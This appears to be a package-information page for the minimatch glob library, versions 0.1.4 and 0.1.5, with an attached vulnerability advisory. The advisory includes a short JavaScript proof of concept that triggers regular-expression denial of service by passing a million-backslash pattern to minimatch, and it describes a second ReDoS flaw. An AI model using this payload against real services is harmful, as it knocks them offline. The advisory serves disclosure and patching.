Minimatch is a small, fast, and powerful JavaScript library designed for glob matching, a crucial task for developers working with file systems and command-line tools. It allows you to easily identify files or paths that match specific patterns, using wildcards like * (matches any number of characters) and ? (matches a single character). This is incredibly useful for tasks like filtering files, defining build processes, and creating flexible configurations.
Looking at versions 0.1.4 and 0.1.5, the core functionality remains consistent, suggesting bug fixes or minor improvements rather than significant feature additions. Both versions rely on the lru-cache dependency for performance optimization, likely caching recent matches to speed up repeated pattern checks. The development dependencies, including tap for testing, indicate a focus on code quality and reliability. The primary difference between the two versions lies in their release dates, with version 0.1.5 released approximately two weeks after 0.1.4. This short interval hints at a patch release addressing potential issues found in the previous version.
For developers, Minimatch is an essential tool for handling file patterns in a flexible and efficient way. While the specific changes between versions 0.1.4 and 0.1.5 appear minor, staying current with the latest patch version is always recommended to leverage bug fixes and potential performance enhancements. The library's simplicity and relatively small size make it easy to integrate into any JavaScript project requiring glob matching functionality.
All the vulnerabilities related to the version 0.1.5 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.